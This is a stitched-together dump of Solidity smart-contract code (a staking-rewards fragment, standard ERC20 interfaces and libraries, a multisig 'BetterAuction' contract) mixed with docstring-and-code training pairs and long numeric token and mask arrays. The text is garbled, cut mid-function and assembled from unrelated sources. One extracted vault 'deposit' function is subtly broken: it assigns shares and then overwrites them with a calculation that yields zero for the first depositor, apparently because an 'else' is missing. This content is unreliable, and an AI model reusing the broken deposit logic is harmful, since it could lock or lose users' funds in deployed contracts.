(uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(derivedSupply) ); } function derivedBalance(address account) public view returns (uint256) { uint256 _balance = _balances[account]; uint256 _derived = _balance.mul(40).div(100); uint256 axonMultiplier = 0; uint256 axonTotalSupply = AXON.totalSupply(); if (axonTotalSupply != 0) { axonMultiplier = AXON.balanceOf(account).div(AXON.totalSupply()); } uint256 _adjusted = (_totalSupply.mul(axonMultiplier)).mul(60).div(100); return Math.min(_derived.add(_adjusted), _balance); } function kick(address account) public { uint256 _derivedBalance = derivedBalances[account]; derivedSupply = derivedSupply.sub(_derivedBalance); _derivedBalance = derivedBalance(account); derivedBalances[account] = _derivedBalance; derivedSupply = derivedSupply.add(_derivedBalance); } function earned(address account) public view returns (uint256) { return derivedBalances[account] .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(DURATION); } function depositAll() external { _deposit(TOKEN.balanceOf(msg.sender), msg.sender, msg.sender); } function deposit(uint256 amount) external { _deposit(amount, msg.sender, msg.sender); } function depositFor(uint256 amount, address account) external { _deposit(amount, account, account); } function depositFromSenderFor(uint256 amount, address account) external { _deposit(amount, msg.sender, account); } function depositStateUpdate(address holder, uint256 amount) internal updateReward(holder) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[holder] = _balances[holder].add(amount); emit Staked(holder, amount); } function depositStateUpdateByPool(address holder, uint256 amount) external { require( msg.sender == address(TOKEN), "State update without transfer can only be called by pool" ); depositStateUpdate(holder, amount); } function _deposit( uint256 amount, address spender, address recipient ) internal nonReentrant { depositStateUpdate(recipient, amount); TOKEN.safeTransferFrom(spender, address(this), amount); } function withdrawAll() external { _withdraw(_balances[msg.sender]); } function withdraw(uint256 amount) external { _withdraw(amount); } function _withdraw(uint256 amount) internal nonReentrant { withdrawStateUpdate(msg.sender, amount); TOKEN.safeTransfer(msg.sender, amount); } function withdrawStateUpdate(address holder, uint256 amount) internal updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[holder] = _balances[holder].sub(amount); emit Withdrawn(holder, amount); } // We use this function when withdraw right from pool. No transfer because after that we burn this amount from contract. function withdrawAllStateUpdateByPool(address holder) external nonReentrant returns (uint256) { require( msg.sender == address(TOKEN), "Only corresponding pool can withdraw tokens for someone" ); uint256 amount = _balances[holder]; withdrawStateUpdate(holder, amount); return amount; } function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; NEURON.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external { _withdraw(_balances[msg.sender]); getReward(); } function notifyRewardAmount(uint256 reward) external onlyDistribution updateReward(address(0)) { NEURON.safeTransferFrom(DISTRIBUTION, address(this), reward); if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint256 balance = NEURON.balanceOf(address(this)); require( rewardRate <= balance.div(DURATION), "Provided reward too high" ); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; if (account != address(0)) { kick(account); } } event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute. return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2); } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } pragma solidity 0.8.2; interface IAxon { function balanceOf(address addr, uint256 _t) external view returns (uint256); function balanceOf(address addr) external view returns (uint256); function balanceOfAt(address addr, uint256 _block) external view returns (uint256); function totalSupply(uint256 t) external view returns (uint256); function totalSupply() external view returns (uint256); }
User's entry point; called on pressing Deposit in Neuron's UI Pool's + controller balances totalSupply - total supply of pToken, given in exchange for depositing to a pool, eg p3CRV for 3Crv Tokens user will get in exchange for deposit. First user receives tokens equal to deposit. For subsequent users: (tokens_stacked * exist_pTokens) / total_tokens_stacked. total_tokesn_stacked - not considering first users
function deposit(uint256 _amount) public { uint256 _pool = balance(); uint256 _before = token.balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(this), _amount); uint256 _after = token.balanceOf(address(this)); uint256 shares = 0; if (totalSupply() == 0) { shares = _amount; shares = (_amount.mul(totalSupply())).div(_pool); } _mint(msg.sender, shares); }
6,339,151
[ 1, 1299, 1807, 1241, 1634, 31, 2566, 603, 11779, 310, 4019, 538, 305, 316, 7455, 295, 265, 1807, 6484, 8828, 1807, 397, 2596, 324, 26488, 2078, 3088, 1283, 300, 2078, 14467, 434, 293, 1345, 16, 864, 316, 7829, 364, 443, 1724, 310, 358, 279, 2845, 16, 9130, 293, 23, 5093, 58, 364, 890, 39, 4962, 13899, 729, 903, 336, 316, 7829, 364, 443, 1724, 18, 5783, 729, 17024, 2430, 3959, 358, 443, 1724, 18, 2457, 10815, 3677, 30, 261, 7860, 67, 3772, 329, 225, 1005, 67, 84, 5157, 13, 342, 2078, 67, 7860, 67, 3772, 329, 18, 2078, 67, 17692, 281, 82, 67, 3772, 329, 300, 486, 24453, 1122, 3677, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 443, 1724, 12, 11890, 5034, 389, 8949, 13, 1071, 288, 203, 3639, 2254, 5034, 389, 6011, 273, 11013, 5621, 203, 3639, 2254, 5034, 389, 5771, 273, 1147, 18, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 3639, 1147, 18, 4626, 5912, 1265, 12, 3576, 18, 15330, 16, 1758, 12, 2211, 3631, 389, 8949, 1769, 203, 3639, 2254, 5034, 389, 5205, 273, 1147, 18, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 3639, 2254, 5034, 24123, 273, 374, 31, 203, 3639, 309, 261, 4963, 3088, 1283, 1435, 422, 374, 13, 288, 203, 5411, 24123, 273, 389, 8949, 31, 203, 5411, 24123, 273, 261, 67, 8949, 18, 16411, 12, 4963, 3088, 1283, 10756, 2934, 2892, 24899, 6011, 1769, 203, 3639, 289, 203, 3639, 389, 81, 474, 12, 3576, 18, 15330, 16, 24123, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.2; contract BetterAuction { // Mapping for members of multisig mapping (address => bool) public members; // Auction start time, seconds from 1970-01-01 uint256 public auctionStart; // Auction bidding period in seconds, relative to auctionStart uint256 public biddingPeriod; // Period after auction ends when the multisig proposals can withdraw all funds, relative to auctionStart uint256 public recoveryAfterPeriod; // User sends this amount to the contract to withdraw funds, 0.0001 ETH uint256 public constant WITHDRAWAL_TRIGGER_AMOUNT = 100000000000000; // Number of required signatures uint256 public constant REQUIRED_SIGNATURES = 2; // Proposal to spend Proposal[] public proposals; // Number of proposals uint256 public numProposals; // Address of the highest bidder address public highestBidder; // Highest bid amount uint256 public highestBid; // Allowed withdrawals of previous bids mapping(address => uint256) pendingReturns; // Set to true at the end, disallows any change bool auctionClosed; address _address1 =0xb7cf43651d8f370218cF92B00261cA3e1B02Fda0; address _address2 = 0x60CE2769E5d330303Bd9Df88F7b843A40510F173; address _address3 = 0x7422B53EB5f57AdAea0DdffF82ef765Cfbc4DBf0; uint256 _biddingPeriod = 1800; uint256 _recoveryAfterPeriod = 1000000; struct Proposal { address recipient; uint256 numVotes; mapping (address => bool) voted; bool isRecover; } modifier isMember { if (members[msg.sender] == false) throw; _; } modifier isAuctionActive { if (now < auctionStart || now > (auctionStart + biddingPeriod)) throw; _; } modifier isAuctionEnded { if (now < (auctionStart + biddingPeriod)) throw; _; } event HighestBidIncreased(address bidder, uint256 amount); event AuctionClosed(address winner, uint256 amount); event ProposalAdded(uint proposalID, address recipient); event Voted(uint proposalID, address voter); // Auction starts at deployment, runs for _biddingPeriod (seconds from // auction start), and funds can be recovered after _recoverPeriod // (seconds from auction start) function BetterAuction( ) { if (_address1 == 0 || _address2 == 0 || _address3 == 0) throw; members[_address1] = true; members[_address2] = true; members[_address3] = true; auctionStart = now; if (_biddingPeriod > _recoveryAfterPeriod) throw; biddingPeriod = _biddingPeriod; recoveryAfterPeriod = _recoveryAfterPeriod; } // Users want to know when the auction ends, seconds from 1970-01-01 function auctionEndTime() constant returns (uint256) { return auctionStart + biddingPeriod; } // Users want to know theirs or someones current bid function getBid(address _address) constant returns (uint256) { if (_address == highestBidder) { return highestBid; } else { return pendingReturns[_address]; } } // Update highest bid or top up previous bid function bidderUpdateBid() internal { if (msg.sender == highestBidder) { highestBid += msg.value; HighestBidIncreased(msg.sender, highestBid); } else if (pendingReturns[msg.sender] + msg.value > highestBid) { var amount = pendingReturns[msg.sender] + msg.value; pendingReturns[msg.sender] = 0; // Save previous highest bidders funds pendingReturns[highestBidder] = highestBid; // Record the highest bid highestBid = amount; highestBidder = msg.sender; HighestBidIncreased(msg.sender, amount); } else { throw; } } // Bidders can only place bid while the auction is active function bidderPlaceBid() isAuctionActive payable { if ((pendingReturns[msg.sender] > 0 || msg.sender == highestBidder) && msg.value > 0) { bidderUpdateBid(); } else { // Reject bids below the highest bid if (msg.value <= highestBid) throw; // Save previous highest bidders funds if (highestBidder != 0) { pendingReturns[highestBidder] = highestBid; } // Record the highest bid highestBidder = msg.sender; highestBid = msg.value; HighestBidIncreased(msg.sender, msg.value); } } // Withdraw a bid that was overbid. function nonHighestBidderRefund() payable { var amount = pendingReturns[msg.sender]; if (amount > 0) { pendingReturns[msg.sender] = 0; if (!msg.sender.send(amount + msg.value)) throw; } else { throw; } } // Multisig member creates a proposal to send ether out of the contract function createProposal (address recipient, bool isRecover) isMember isAuctionEnded { var proposalID = proposals.length++; Proposal p = proposals[proposalID]; p.recipient = recipient; p.voted[msg.sender] = true; p.numVotes = 1; numProposals++; Voted(proposalID, msg.sender); ProposalAdded(proposalID, recipient); } // Multisig member votes on a proposal function voteProposal (uint256 proposalID) isMember isAuctionEnded { Proposal p = proposals[proposalID]; if ( p.voted[msg.sender] ) throw; p.voted[msg.sender] = true; p.numVotes++; // Required signatures have been met if (p.numVotes >= REQUIRED_SIGNATURES) { if ( p.isRecover ) { // Is it too early for recovery? if (now < (auctionStart + recoveryAfterPeriod)) throw; // Recover any ethers accidentally sent to contract if (!p.recipient.send(this.balance)) throw; } else { if (auctionClosed) throw; auctionClosed = true; AuctionClosed(highestBidder, highestBid); // Send highest bid to recipient if (!p.recipient.send(highestBid)) throw; } } } // Bidders send their bids to the contract. If this is the trigger amount // allow non-highest bidders to withdraw their funds function () payable { if (msg.value == WITHDRAWAL_TRIGGER_AMOUNT) { nonHighestBidderRefund(); } else { bidderPlaceBid(); } } }
Multisig member creates a proposal to send ether out of the contract
function createProposal (address recipient, bool isRecover) isMember isAuctionEnded { var proposalID = proposals.length++; Proposal p = proposals[proposalID]; p.recipient = recipient; p.voted[msg.sender] = true; p.numVotes = 1; numProposals++; Voted(proposalID, msg.sender); ProposalAdded(proposalID, recipient); }
6,440,191
[ 1, 5049, 291, 360, 3140, 3414, 279, 14708, 358, 1366, 225, 2437, 596, 434, 326, 6835, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 752, 14592, 261, 2867, 8027, 16, 1426, 353, 27622, 13, 353, 4419, 25997, 4062, 28362, 288, 203, 3639, 569, 14708, 734, 273, 450, 22536, 18, 2469, 9904, 31, 203, 3639, 19945, 293, 273, 450, 22536, 63, 685, 8016, 734, 15533, 203, 3639, 293, 18, 20367, 273, 8027, 31, 203, 3639, 293, 18, 90, 16474, 63, 3576, 18, 15330, 65, 273, 638, 31, 203, 3639, 293, 18, 2107, 29637, 273, 404, 31, 203, 3639, 818, 626, 22536, 9904, 31, 203, 3639, 776, 16474, 12, 685, 8016, 734, 16, 1234, 18, 15330, 1769, 203, 3639, 19945, 8602, 12, 685, 8016, 734, 16, 8027, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2020-09-19 */ // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * 